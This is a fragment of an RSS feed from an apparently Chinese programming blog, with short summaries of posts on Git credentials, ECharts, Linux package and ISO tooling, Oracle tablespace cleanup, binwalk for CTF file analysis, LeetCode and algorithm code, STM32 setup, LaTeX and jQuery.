      <description>在使用 HbuilderX IDE 开发时，有一次使用 git push 代码时，账号密码输入错误，导致后续的 git 操作都出现账号密码验证失败。但又找不到 git 账号密码重新设置的入口。&#xA;解决方案 控制面板 -&amp;gt; 用户账户 -&amp;gt; 凭据管理器 -&amp;gt; Windows 凭据 -&amp;gt; 找到自己的 git 凭据 -&amp;gt; 编辑（修改账号密码）</description>
    </item>
    <item>
      <title>后台管理Echarts、时间线</title>
      <link>https://bchobby.github.io/posts/5ca7c8c35efb99055460202b443bfb14/</link>
      <pubDate>Fri, 07 May 2021 15:54:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ca7c8c35efb99055460202b443bfb14/</guid>
      <description>1.查看物流进度 主要用到了Element UI中的时间线组件&#xA;代码如下：&#xA;&amp;lt;!-- 显示时间线 --&amp;gt; &amp;lt;el-timeline&amp;gt; &amp;lt;el-timeline-item v-for=&#34;(activity, index) in activities&#34; :key=&#34;index&#34; :timestamp=&#34;activity.time&#34; &amp;gt; {{ activity.context }} &amp;lt;/el-timeline-item&amp;gt; &amp;lt;/el-timeline&amp;gt; 注：timestamp:主要用于显示时间进度的属性&#xA;2.数据统计功能 主要用到了Echarts图表库&#xA;2.1 初识数据可视化技术 chrome浏览器支持绘图技术：canvas,svg,webGL&#xA;chrome浏览器支持的渲染引擎：skia,openGL&#xA;数据可视化需要会的技术：D3.js、HighCharts、Echarts、Three.js、WebGL，canvas, webGL, CSS3动画效&#xA;Echarts介绍:ECharts是一款基于JavaScript的数据可视化图表库。ECharts最初由百度团队开源，并于2018年初捐赠给Apache基金会，&#xA;2.2 Echarts如何使用 第一步：下载安装echarts.min.js&#xA;下载链接：https://echarts.apache.org/zh/download.html 第二步:引入echarts并创建一个存放图表的div容器&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 存放图表的div容器 --&amp;gt; &amp;lt;div id=&#34;main&#34; style=&#34;width: 600px;height:400px;&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!-- 引入echarts --&amp;gt; &amp;lt;script src=&#34;./echarts.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 第三步：创建化图表对象&#xA;var myChart = echarts.init(dom对象); 例如： var myChart = echarts.init(document.getElementById(&#39;main&#39;)); 第四：指定图表配置项</description>
    </item>
    <item>
      <title>linux下anaconda使用教程,怎么在linux系统上打开anaconda</title>
      <link>https://bchobby.github.io/posts/d524ebcf178d9b39fdd1b26e7c35fcda/</link>
      <pubDate>Fri, 07 May 2021 01:20:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d524ebcf178d9b39fdd1b26e7c35fcda/</guid>
      <description>在linux系统上打开anaconda的方法是：直接在终端中运行【anaconda-navigator】命令即可。anaconda指的是一个开源的python发行版本，其包含了conda、Python等多个科学包及其依赖项。&#xA;在linux系统中，一些软件在安装后没有桌面的快捷方式，这时我们就可以直接输入命令来打开这些软件。&#xA;(推荐学习：Python入门教程)&#xA;比如要打开Anaconda，直接在终端中执行如下命令即可：anaconda-navigator&#xA;相关介绍：&#xA;Anaconda指的是一个开源的Python发行版本，其包含了conda、Python等180多个科学包及其依赖项。因为包含了大量的科学包，所以Anaconda 的下载文件比较大(约 531 MB)，如果只需要某些包，或者需要节省带宽或存储空间，也可以使用Miniconda这个较小的发行版(仅包含conda和 Python)。&#xA;conda是一个开源的包、环境管理器，可以用于在同一个机器上安装不同版本的软件包及其依赖，并能够在不同的环境之间切换。</description>
    </item>
    <item>
      <title>linux安装外部软件,科学网—Madagascar 软件安装方法（Ubuntu下，适用于其他Linux系统） - 罗飞的博文...</title>
      <link>https://bchobby.github.io/posts/9ab2cbf230ae9b5102e6bde29a15be91/</link>
      <pubDate>Fri, 07 May 2021 01:03:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ab2cbf230ae9b5102e6bde29a15be91/</guid>
      <description>是一个地球物理专家开发的主要用来处理勘探地球物理数据资料或进行模型测试的软件包，它是完全开源(免费)的。Madagascar提供了一个针对多维数据分析程序的集合，包括地震成像、地震数据处理和对有组织格式的数据进行处理流程实现与计算实验的综合环境。Madagascar遵从的是Claerbout(1992)提出的可重复性(再生性)研究的思想原理。&#xA;Madagascar的安装现在已经变得非常的简单。&#xA;(一)源码下载。(两种方法)&#xA;2. 直接是用命令(个人比较推荐第二种，可以随时更新)&#xA;svn co https://rsf.svn.sourceforge.net/svnroot/rsf/trunk RSFSRC&#xA;从网站下载源代码到 RSFSRC 目录，这种方法下载的好处一是代码都比较新，二是以后更新比较方便(直接在路径内输入命令svn update即可)&#xA;sudo apt-get install freeglut3-dev g++ gfortran libgd2-xpm-dev libglew1.5-dev libjpeg62-dev libx11-dev libxaw7-dev libnetpbm10-dev swig python-dev python-scipy python-numpy libtiff4-dev scons units libblas-dev libcairo2-dev libavcodec-dev libplplot-dev&#xA;(三)安装前配置。&#xA;./configure --prefix=/完整的安装路径&#xA;(四)编译和安装。&#xA;如果第三步配置没有问题，没有提示某个命令不能安装，那就可以开始编译安装了。&#xA;输入命令&#xA;scons；&#xA;scons install；&#xA;(五) 最后的配置。&#xA;全部编译安装完成后，要把madagascar的环境变量设置好。&#xA;打开 ~/.bashrc文件，将&#xA;source RSFROOT/etc/madagascar/env.sh&#xA;添加到文件的末尾，注意，RSFROOT要写成前面的完整路径&#xA;最后，保存，退出，在终端中输入&#xA;source .bashrc&#xA;madagascar的安装就完成了。&#xA;转载本文请联系原作者获取授权，同时请注明本文来自罗飞科学网博客。&#xA;链接地址：http://blog.sciencenet.cn/blog-898810-674969.html&#xA;下一篇：国际知名地球物理勘探研究小组简介</description>
    </item>
    <item>
      <title>sysaux表空间清理</title>
      <link>https://bchobby.github.io/posts/ae318be511a1ed7690b93b5f74f9fa50/</link>
      <pubDate>Thu, 06 May 2021 17:40:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae318be511a1ed7690b93b5f74f9fa50/</guid>
      <description>Sysaux表空间是system表空间的辅助表空间，他主要存放awr快照，审计信息等信息，默认情况下，sysaux表空间在日常使用的过程中会越来越大使用量，那么怎么才能安全有效的清理sysaux表空间呢？&#xA;col Tablespace_Name for a11 col Sum_m for 9999 col Max_m for 9999 col Free_Blk_Cnt for 9999 col Sum_Free_m for 9999 col PCT_USED for a8 col PCT_FREE for a10 Select Tablespace_Name, Sum_m, Max_m, Count_Blocks Free_Blk_Cnt, Sum_Free_m, To_Char(100 * Sum_Free_m / Sum_m, &#39;99.9999&#39;) || &#39;%&#39; As Pct_Free, 100 - To_Char(100 * Sum_Free_m / Sum_m, &#39;99.9999&#39;) || &#39;%&#39; As Pct_used From (Select Tablespace_Name, Sum(Bytes) / 1024 / 1024 As Sum_m From Dba_Data_Files Group By Tablespace_Name) Left Join (Select Tablespace_Name As Fs_Ts_Name, Max(Bytes) / 1024 / 1024 As Max_m, Count(Blocks) As Count_Blocks, Sum(Bytes / 1024 / 1024) As Sum_Free_m From Dba_Free_Space Group By Tablespace_Name) On Tablespace_Name = Fs_Ts_Name ORDER BY Sum_Free_m / Sum_m; 可以看到sysaux使用空间有260M左右，再去查询下sysaux表空间里具体存放了什么数据</description>
    </item>
    <item>
      <title>pyecharts bar每个柱子显示不同的颜色</title>
      <link>https://bchobby.github.io/posts/924acabf5fd2c25b07b90c81d6f3efec/</link>
      <pubDate>Thu, 06 May 2021 17:27:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/924acabf5fd2c25b07b90c81d6f3efec/</guid>
      <description>pyecharts bar每个柱子显示不同的颜色 开门见山 X（或y）轴数据列表的元素，按照这个格式来就可以渲染成不同颜色了：&#xA;{&#39;value&#39;: 200,&#39;itemStyle&#39;: {&#39;color&#39;: &#39;pink&#39;}} 例如：&#xA;[{&#39;value&#39;: 200,&#39;itemStyle&#39;: {&#39;color&#39;: &#39;pink&#39;}},22,34,213,345,643,324,543] 第一列为粉色</description>
    </item>
    <item>
      <title>[CTF工具]binwalk_多重文件分析</title>
      <link>https://bchobby.github.io/posts/8d95671f69af7895fe4acdff543396cf/</link>
      <pubDate>Thu, 06 May 2021 17:20:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d95671f69af7895fe4acdff543396cf/</guid>
      <description>工具介绍：&#xA;Binwalk是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具， 具体来说,它被设计用于识别嵌入固件镜像内的文件和代码。 Binwalk使用libmagic库,因此它与Unix文件实用程序创建的魔数签名兼容。 Binwalk还包括一个自定义魔数签名文件,其中包含常见的诸如压缩/存档文件,固件头,Linux内核,引导加载程序,文件系统等的固件映像中常见文件的改进魔数签名。&#xA;在CTF中Binwalk常用于分析隐藏文件&#xA;Windows下安装：&#xA;1.你需要先安装python&#xA;2.从github下载代码到本地 https://github.com/ReFirmLabs/binwalk&#xA;3.进入Binwalk所在文件夹 执行命令 程序将会自动安装</description>
    </item>
    <item>
      <title>C&#43;&#43; warning: extended initializer lists only available with -std=c&#43;&#43;11 or -std=gnu&#43;&#43;11 return {i,j}</title>
      <link>https://bchobby.github.io/posts/afcec8f8d66a190ccd8a86e43af1fd78/</link>
      <pubDate>Wed, 05 May 2021 22:58:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afcec8f8d66a190ccd8a86e43af1fd78/</guid>
      <description>C++ vector return{} 返回错误 在解答LeetCode两数之和的题目使用{}返回vector出现了错误&#xA;部分源代码&#xA;int array1[4] = {2,7,11,15}; int array2[3] = {3,2,4}; int array3[2] = {3,3}; int target1 = 9; int target2 = 6; int target3 = 6; Solution s; vector&amp;lt;int&amp;gt; nums1(array1,array1 + 4); vector&amp;lt;int&amp;gt; result = s.twoSum(nums1,target1); cout &amp;lt;&amp;lt; &#34;[&#34; &amp;lt;&amp;lt; result[0] &amp;lt;&amp;lt; &#34;,&#34; &amp;lt;&amp;lt; result[1] &amp;lt;&amp;lt; &#34;]&#34; &amp;lt;&amp;lt; endl; vector&amp;lt;int&amp;gt; nums2(array2,array2 + 3); result = s.twoSum(nums2,target2); cout &amp;lt;&amp;lt; &#34;[&#34; &amp;lt;&amp;lt; result[0] &amp;lt;&amp;lt; &#34;,&#34; &amp;lt;&amp;lt; result[1] &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title># leetcode.1 两数之和</title>
      <link>https://bchobby.github.io/posts/e2684326dc9bc3e098fad6234d75d016/</link>
      <pubDate>Wed, 05 May 2021 21:13:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2684326dc9bc3e098fad6234d75d016/</guid>
      <description> 给定一个整数数组 nums 和一个整数目标值 target，请你在该数组中找出 和为目标值 的那 两个 整数，并返回它们的数组下标。&#xA;你可以假设每种输入只会对应一个答案。但是，数组中同一个元素在答案里不能重复出现。&#xA;你可以按任意顺序返回答案。&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/two-sum&#xA;著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。&#xA;class Solution { public: vector&amp;lt;int&amp;gt; twoSum(vector&amp;lt;int&amp;gt;&amp;amp; nums, int target) { for(int i=0;i&amp;lt;nums.size();i++) { for(int j=i+1;j&amp;lt;nums.size();j++) { if(nums[i]+nums[j]==target) { return {i,j}; } } } return {}; } }; </description>
    </item>
    <item>
      <title>请定义三个getSum()方法</title>
      <link>https://bchobby.github.io/posts/4445e0ef4f9fa8f63b57f97e4f54e593/</link>
      <pubDate>Tue, 04 May 2021 22:56:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4445e0ef4f9fa8f63b57f97e4f54e593/</guid>
      <description> package com.itheima.test; /*定义类Test03，请定义三个getSum()方法，可以分别求出： 两个整数的和 两个小数的和 一个整数数组所有元素的和 并在main()方法中对这三个方法进行测试*/ public class Test09 { public static void main(String[] args) { int sum1= getSum(3,4); System.out.println(sum1); double sum2= getSum(0.3,4.3); System.out.println(sum2); int[]arr={2,4,2}; int sum3= getSum(arr); System.out.println(sum3); } public static int getSum(int a,int b){ int sum1=a+b; return sum1; } public static double getSum(double a,double b){ double sum2=a+b; return sum2; } public static int getSum(int[]arr){ int sum3=0; for (int i = 0; i &amp;lt; arr.length; i++) { sum3+=arr[i]; }return sum3; } } </description>
    </item>
    <item>
      <title>Clion&#43;STM32CubeMX使用指南</title>
      <link>https://bchobby.github.io/posts/4f8fbcfed749ba8e0d6f9d6fccb2fd6b/</link>
      <pubDate>Tue, 04 May 2021 17:56:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f8fbcfed749ba8e0d6f9d6fccb2fd6b/</guid>
      <description>〇、软件清单 STM32CubeMXClionen.stsw-link009.zip —— ST-Link V2的驱动，Clion需要更新一下这个驱动gcc-arm-none-eabi-5_4-2016q3-20160926-win32.exe —— win下的arm架构交叉编译环境java1.8.0_261-jdkjava1.8.0_261-jreLLVM-9.0.0-win64.exe —— c编译器，我VScode搭配的是这个+下面的MinGWMinGW —— c编译器，知乎那个教程好像用的是这个openocd-esp32-win32-0.10.0-esp32-20200526.zip —— 下载程序用的st_nucleo_f103rb_stlink_v2.cfg —— 自己写的一个OpenOCD的配置文件，放在XXX\openocd-- esp32\share\openocd\scripts\board下，创建工程时需要选用这个 一、CubeMX 1、简介 cubemx是ST官方出的，一款使用HAL库，自动生成stm32初始化代码的软件。与其配套的IDE叫STM32CubeIDE，我没用过，你们可以试试。HAL库：Hardware abstract layer，硬件抽象层，ST官方出的。首先要和标准库做对比，野火那套用的库函数就是标准库，它的特点是非常细节，具体到硬件实施，接近寄存器操作。而HAL库封装程度要高一点，各种函数或者变量的命名格式也很容易看懂，总之就是用的更顺手一点。自动生成：字面意思，FULL AUTO。初始化代码：意思就是只帮你初始化了，启动还是需要自己启动的。野火那套是初始化和启动写一起了，假如有多个设备联合工作，初始化好的就自己先跑起来了（例如定时器中断），相当异端。 2、使用流程 2.1、一般使用流程 芯片选型配置RCC：选HSE-Crystal/Ceramic Resonator，配置时钟树配置SYS：选Debug-Serial Wire其他 注：只有当1-3步完成之后才能配置别的，否则可能会遇到奇怪的bug，例如没选debug方式的话下次程序就下不进去。 2.2、新手上路流程 一般软件下好打开之后就会让你导包，点这个 2. 选STM32F1系列，安装&#xA;3. 开始上路，新建工程&#xA;4. 直接输型号&#xA;5. 打开界面后我也不做翻译了，上面这些选项卡懂得都懂，不知道可以查一下&#xA;6. 配置系统核心（System Core），字面意思，都核心了肯定是重要的东西，在这里需要配置两个东西，一个是RCC，一个是SYS，其余默认。这俩一个是时钟树，一个是Debug方式，也就是下载方式，我们用的是SWD。&#xA;7. 然后打开Clock Configuration，这里是真·时钟树，一般直接在这里输入72然后回车就完事了，软件会自动给你找合适的方案。&#xA;8. 然后配置其他东西，这里就直接参考（可以暂时不弄）：&#xA;定时器中断：https://blog.csdn.net/toopoo/article/details/79748683&#xA;定时器PWM：https://blog.csdn.net/toopoo/article/details/79749851&#xA;定时器输入捕获：https://blog.csdn.net/as480133937/article/details/99407485&#xA;9. 然后保存，起个名字ctrl+S&#xA;10. 然后选工具链和版本&#xA;11. 选这俩&#xA;12. 然后再保存一边直接点生成就好&#xA;13. 然后可以看一下它生成的代码，值得注意的一点就是，你自己编写的代码必须放在这种格式里面【USER CODE BEGIN/END】，写在其他地方的话下次【生成】会被直接删掉。&#xA;14. 剩下的自己看注释就好了。&#xA;二、Clion+CubeMX联动 clion是啥就不用多说了，目前为数不多支持正经c语言的现代化大厂IDE。&#xA;pycharm、idea、goland都是jetbrains一家公司的，它们有统一的界面，非常友好。&#xA;2.1、预习 用clion编stm32程序，首先看这篇：https://zhuanlan.zhihu.com/p/63672432以上工作配置好后（意思是可以编译通过），开始配置流程，如果不安这个步骤来的话可能联动不起来。只有当以上工作完成后才可以继续下一步。 2.2、一般使用流程 首先打开clion，创建一个stm32cubemx的工程。要明白工作区和工程文件夹的概念。例如下图中，建立在桌面的工作区【workspace】，在工作区中建立工程文件夹【project】，之后工程文件内容就存放在文件夹【project】里。如果是单级目录的话，cubemx或clion识别不到工具链。 2.</description>
    </item>
    <item>
      <title>linux终端信息读取,linux系统 如何通过终端查看信息</title>
      <link>https://bchobby.github.io/posts/1bf757f0fcd088deaf7c7476a21a3a9a/</link>
      <pubDate>Tue, 04 May 2021 16:05:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bf757f0fcd088deaf7c7476a21a3a9a/</guid>
      <description>系统&#xA;# uname -a # 查看内核/操作系统/CPU信息&#xA;# head -n 1 /etc/issue # 查看操作系统版本&#xA;# cat /proc/cpuinfo # 查看CPU信息&#xA;# hostname # 查看计算机名&#xA;# lspci -tv # 列出所有PCI设备&#xA;# lsusb -tv # 列出所有USB设备&#xA;# lsmod # 列出加载的内核模块&#xA;# env # 查看环境变量&#xA;资源# free -m # 查看内存运用量和交换区运用量&#xA;# df -h # 查看各分区运用情况&#xA;# du -sh # 查看指定目录的大小&#xA;# grep MemTotal /proc/meminfo # 查看内存总量&#xA;# grep MemFree /proc/meminfo # 查看空闲内存量&#xA;# uptime # 查看系统运行时间、用户数、负载</description>
    </item>
    <item>
      <title>求两个整数的最大公因数的三种方法(完整代码)</title>
      <link>https://bchobby.github.io/posts/077ef031bc76cf445079bd7734b56da0/</link>
      <pubDate>Tue, 04 May 2021 15:31:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/077ef031bc76cf445079bd7734b56da0/</guid>
      <description>求两个整数的最大公因数的三种方法 //复习实验1 // 求两个整数的最大公约数 //1.连续整除法 m n //2.欧几里得算法 m n //3.相减法 m n #include&amp;lt;stdio.h&amp;gt; using namespace std; int commFactor1(int m,int n)//1.连续整除法,实质就是遍历，从2，一个一个尝试 { int i,factor=1; for(i=2;i&amp;lt;=m &amp;amp;&amp;amp; i&amp;lt;=n;i++) { while(m%i==0 &amp;amp;&amp;amp; n%i==0) { factor =factor*i; m=m/i; n=n/i; } } return factor; } int commFactor2(int a, int b) //2.欧几里得算法(辗转相除法) 被除数/除数=商....余数 //用较大的数除以较小的数，取余数，余数为0则最大公因数为除数 余数不为0，则用余数和较小的数 重复上述操作，直到余数为0，取此时的除数为最大公因数 { if (a &amp;gt;= b){ int r = a%b; if (r == 0) return b; else commFactor2(b, r); } else commFactor2(b, a); } int commFactor3(int m,int n)//相减法 被减数-减数=差 如果差==减数，则差即为最大公因数，若不相等，则在用减数和差重复上述操作直到差==减数为止。 { int t; if(m&amp;lt;n){ t = m; m = n; n = t; } if(m==n){ return m; }else{ return commFactor3(m-n,n); } } int main() { int a,b; printf(&#34;</description>
    </item>
    <item>
      <title>linux 编译 iso 镜像,Centos如何编辑iso镜像以及重新打包生成新iso镜像</title>
      <link>https://bchobby.github.io/posts/7d876caad9d1456869091ed266269788/</link>
      <pubDate>Tue, 04 May 2021 12:07:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d876caad9d1456869091ed266269788/</guid>
      <description>1.挂载6.5-20190505.iso&#xA;mount -o loop /dev/cdrom /mnt&#xA;创建镜像存放目录并复制原镜像文件到此目录&#xA;mkdir WSOS-20190505-cd&#xA;cp -r /mnt/* /home/WSOS-20190505-cd/&#xA;2.修改isolinux目录下的isolinux.cfg中的内容(根据需要修改，此处我添加了一个背景图： menu background bg-install.jpg)&#xA;vi isolinux/isolinux.cfg&#xA;准备一张图片最好是 640×480像素的文件转换成&amp;lt;14位的色位上传到系统所在的目录下，我这里是/home/WSOS-20190505-cd/下面&#xA;这里也可以用PS软件做一个png-8的图片，我看网上说的只要是640*480像素下位深度不大于14都可以)&#xA;3.kscd.cfg和kscd1.cfg中关于装机完成后建议改成poweroff&#xA;4.利用mkisofs重新生成iso新镜像&#xA;mkisofs -o WSOS-6.5-20190505-cd-zjc.iso -input-charset utf-8 -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -R -J -v -T -joliet-long /home/WSOS-6.5.-20190505-cd/&#xA;最后通过ftp下载软件或者放到http服务器目录下使用迅雷下载出来，推荐迅雷，这个速度比较快，一s能达到20M，跟硬盘也有关系，&#xA;我测试的我23.2m/s峰值东芝ssd硬盘&#xA;You might also like...</description>
    </item>
    <item>
      <title>centos7系统下的snapd和certbot的离线安装</title>
      <link>https://bchobby.github.io/posts/8de3cc611466cb1bc7b1903d5b0f9269/</link>
      <pubDate>Tue, 04 May 2021 11:56:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8de3cc611466cb1bc7b1903d5b0f9269/</guid>
      <description>centos7系统下的snapd和certbot的离线安装 什么是snap? 是一个包含应用程序代码和快照的squashFS文件系统。包含特定元数据的snap.yaml文件。它有一个只读文件系统，安装后还有一个可写区域。 是独立的。它捆绑了所需的大多数库和运行时，并且可以在不影响系统其余部分的情况下进行更新和还原。 是通过安全机制限制在OS和其他应用程序中的，但可以根据用户控制的细粒度策略和OS默认值与其他snap交换内容和功能。 什么是Snapd？ Snapd是一个REST API守护进程服务，它在您的Linux系统上运行，用于管理snap包(“snaps”)。它与snap store交互，并提供与之交互的命令客户端snap。在开始管理任何Linux发行版上的snap之前，必须安装snapd。 为什么要使用snap？ Snap为每个Linux桌面、服务器、云或设备打包任何应用程序。Snaps的安装速度更快，创建起来更容易，运行起来更安全，而且它们会自动更新，所以你的应用程序永远是最新的且永不中断。你可以带上你自己的基础架构或使用官方的。 Snappy包管理器是一个跨发行版的包管理器。它最初是为Ubuntu系统构建的，但现在其他主要的Linux发行版（ Fedora, Linux Mint, RHEL, OpenSUSE，Arch Linux等）都能使用Snappy。与RPM和Deb不同的是，Snap软件包可以安装并运行在所有Linux发行版。可以简单的理解为这是一个类似yum dnf的包管理器，但，它有一个商店的概念，类似apple商店，而不是源的概念。&#xA;Snap包是一个经过压缩的文件系统，由宿主机操作系统动态挂载到/snap目录。其携带的元数据由snapd处理，然后snapd为其创建一个安全的沙盒环境。Snap软件包的优势在于它是一个通用的软件包，缺陷是体积比较大，这是因为snap软件包自带了依赖包和运行库以支持所有Linux发行版。&#xA;那么，certbot是snapd商店里的一个软件，如果按照正常的流程安装snapd然后安装certbot，我们可能需要先配置外部yum源，然后使用yum安装snapd，但，常常需要面对网速的考验，并且，snap的软件包通常都是很大的，500兆左右是常态。&#xA;经我收集并整理了一套可快速安装snapd和certbot的离线安装包，下载地址为：&#xA;链接：https://pan.baidu.com/s/1IF3EMx9aThJnITJiWHg7KQ 提取码：snap 下面简单介绍一下如何使用这个离线安装包。&#xA;离线包内有一个文件夹和一个tar.gz 包，文件夹的内容大概为：&#xA;[root@centos6 snapd]# ll total 19620 -rw-r--r-- 1 root root 346256 May 3 23:13 libzstd-1.4.9-1.el7.x86_64.rpm -rw-r--r-- 1 root root 86572 May 3 23:13 lz4-1.8.3-1.el7.x86_64.rpm -rw-r--r-- 1 root root 2971301 May 3 23:13 snap-confine-2.49-2.el7.x86_64.rpm -rw-r--r-- 1 root root 16082953 May 3 23:13 snapd-2.49-2.el7.x86_64.rpm -rw-r--r-- 1 root root 402221 May 3 23:13 snapd-selinux-2.</description>
    </item>
    <item>
      <title>P1119 灾后重建（Floyd算法优化）</title>
      <link>https://bchobby.github.io/posts/0ebd945562c13035bca29ffd69a00a6a/</link>
      <pubDate>Mon, 03 May 2021 20:41:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ebd945562c13035bca29ffd69a00a6a/</guid>
      <description> P1119 灾后重建（Floyd算法优化） 本题是一道Floyd算法的应用。&#xA;Floyd算法是基于动态规划方程的推导而来，利用每一个合理的中间点来实现对两点之间距离的更新，具体的状态表达方程为：&#xA;其中还有一些细节需要注意，本题给出了每一个村庄重建的时间，而这就需要我们额外注意，如果我们每次进行Floyd算法求询问中的两点最短路径那么时间复杂度就为O（q * n^3）,显然已经超过了我们的所给时间，而事实也是这样，只能得50分，tle了5个点。&#xA;那么我们就需要对Floyd算法进行一些简单的优化，由于题干中给到，每次询问的时间都是不降的（果然高中老师说的对呀，题干没有废话），那么我们就可以按照每次询问的时间，分别按顺序更新每个中间点，这样我们就将时间复杂度大大缩减，达成了我们的目的。&#xA;来看一下代码叭。&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;stack&amp;gt; #include&amp;lt;algorithm&amp;gt; #include&amp;lt;cstring&amp;gt; #include&amp;lt;string&amp;gt; #include&amp;lt;map&amp;gt; #include&amp;lt;cmath&amp;gt; #include&amp;lt;queue&amp;gt; using namespace std; typedef long long ll; const int p = 1e9 + 7; typedef pair&amp;lt;int, int&amp;gt; pii; const int N = 310; int tim[N]; ll n, m; int g[N][N]; void init() {//初始化邻接矩阵 for (int i = 0; i &amp;lt;= n; i++) for (int j = 0; j &amp;lt;= m; j++) { if (i == j) g[i][j] = 0; else g[i][j] = 0x3f3f3f3f; } } int main() { cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; m; init(); for (int i = 0; i &amp;lt; n; i++)cin &amp;gt;&amp;gt; tim[i]; for (int i = 1; i &amp;lt;= m; i++) { int a, b, c; cin &amp;gt;&amp;gt; a &amp;gt;&amp;gt; b &amp;gt;&amp;gt; c; g[a][b] = g[b][a] = c;//存无向图 } ll q; cin &amp;gt;&amp;gt; q; int k = 0; while (q--) { int x, y, z; cin &amp;gt;&amp;gt; x &amp;gt;&amp;gt; y &amp;gt;&amp;gt; z; if (tim[x] &amp;gt; z || tim[y] &amp;gt; z) { cout &amp;lt;&amp;lt; -1 &amp;lt;&amp;lt; endl; continue; } while (k &amp;lt; n &amp;amp;&amp;amp; tim[k] &amp;lt;= z) {//按照所给的时间来更新中间点（原为for(int k = 0; k &amp;lt; n; k++)） for (int i = 0; i &amp;lt; n; i++) { for (int j = 0; j &amp;lt; n; j++) { g[i][j] = min(g[i][j], g[i][k] + g[k][j]); } } k++; } if (g[x][y] &amp;lt; 0x3f3f3f3f) { cout &amp;lt;&amp;lt; g[x][y] &amp;lt;&amp;lt; endl; } else cout &amp;lt;&amp;lt; -1 &amp;lt;&amp;lt; endl; } } </description>
    </item>
    <item>
      <title>latex插入参考文献</title>
      <link>https://bchobby.github.io/posts/cdf063bdbfa6b62524767063aee039d5/</link>
      <pubDate>Mon, 03 May 2021 15:19:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdf063bdbfa6b62524767063aee039d5/</guid>
      <description>LaTeX插入参考文献，可以使用BibTex，也可以不使用BibTex。&#xA;方法一：不使用BibTeX 先在文章末尾(\end {document}之前)写好需要插入的参考文献，逐一写出，例如：&#xA;\begin{thebibliography}{99} \bibitem{ref1}Zheng L, Wang S, Tian L, et al., Query-adaptive late fusion for image search and person re-identification, Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition, 2015: 1741-1750. \bibitem{ref2}Arandjelović R, Zisserman A, Three things everyone should know to improve object retrieval, Computer Vision and Pattern Recognition (CVPR), 2012 IEEE Conference on, IEEE, 2012: 2911-2918. \bibitem{ref3}Lowe D G. Distinctive image features from scale-invariant keypoints, International journal of computer vision, 2004, 60(2): 91-110.</description>
    </item>
    <item>
      <title>jQuery中each方法</title>
      <link>https://bchobby.github.io/posts/8751c81408a76bf0eee86103ae1e3c9a/</link>
      <pubDate>Mon, 03 May 2021 13:32:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8751c81408a76bf0eee86103ae1e3c9a/</guid>
      <description>jQuery中each方法&#xA;定义：each() 方法规定为每个匹配元素规定运行的函数&#xA;使用：$.each(arr,function(index,value){&#xA;})&#xA;参数：arr：遍历数组 function：回调函数 index： 当前遍历的每一个索引值 value：数据值&#xA;返回值：是一个数组：并且默认返回遍历的值&#xA;注意点：方法可以遍历伪数组.&#xA;使用实例：&#xA;var arr = [1,2,3,4,5,6,7,8,8,9];&#xA;var obj = {&#xA;0:1,&#xA;2:8,&#xA;3:4&#xA;}&#xA;$.each(arr,function(index,value){&#xA;console.log(index,value);&#xA;})&#xA;console.log(&#34;--------&#34;)&#xA;$.each(obj,function(index,value){&#xA;console.log(index,value);&#xA;})&#xA;结果：</description>
    </item>
    <item>
      <title>linux添加五笔输入法,Linux学习笔记（三）Centos 安装五笔输入法</title>
      <link>https://bchobby.github.io/posts/527e2fa6de8301d4bb2a8438f03e25ff/</link>
      <pubDate>Mon, 03 May 2021 01:34:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/527e2fa6de8301d4bb2a8438f03e25ff/</guid>
      <description>刚把无线网卡驱动装好，但是又发觉输入法上面有问题，默认它是不显示五笔输入法的，真是汗死。。&#xA;拼音实在是不过关，所以俺又得把五笔输入法装上去才玩得顺畅。。。&#xA;下面二个是我在网上找到的相关资料，有兴趣的可以直接去看！！！&#xA;centos6.2安装五笔输入法&#xA;CentOS 6.5 安装五笔输入法&#xA;－－－这哥们讲得最详细，我是装好后才看到，我就是在找极点五笔这软件上，浪费了N多的时间，实在是不好了找，现在我把那二个文件全以附件的方式上传，有需要的请自行下载。。。&#xA;1、打开Centos的输入法一看，一大堆的输入法，但就是没有五笔。&#xA;所以只能是按网上找到的资料进行操作，不管它三七二十一，先把其它的输入法统统删除。&#xA;我是在ROOT用户的下面操作(这个其实是不安全的，但是没办法，懒人一个)，打开终端，在上面直接输入命令：&#xA;yum remove ibus-----把 ibus table删除&#xA;接着，我们再把我们要的五笔安装上去，命令如下：&#xA;yum install ibus ibus-table------这个只是把基本的输入法框架安装上去。&#xA;注：其实Centos 还是比较人性化的，本身就集成了五笔输入法，只是它没有显示出来吧了，如果我们只是想要用到集成的五笔话，可以直接把上面的命令更改成：&#xA;yum install ibus ibus-table-wubi&#xA;这样，我们就是把Centos 集成的五笔86版本安装上去了&#xA;在点任务栏中那个键盘小图标，在下拉菜单选“重新重启” 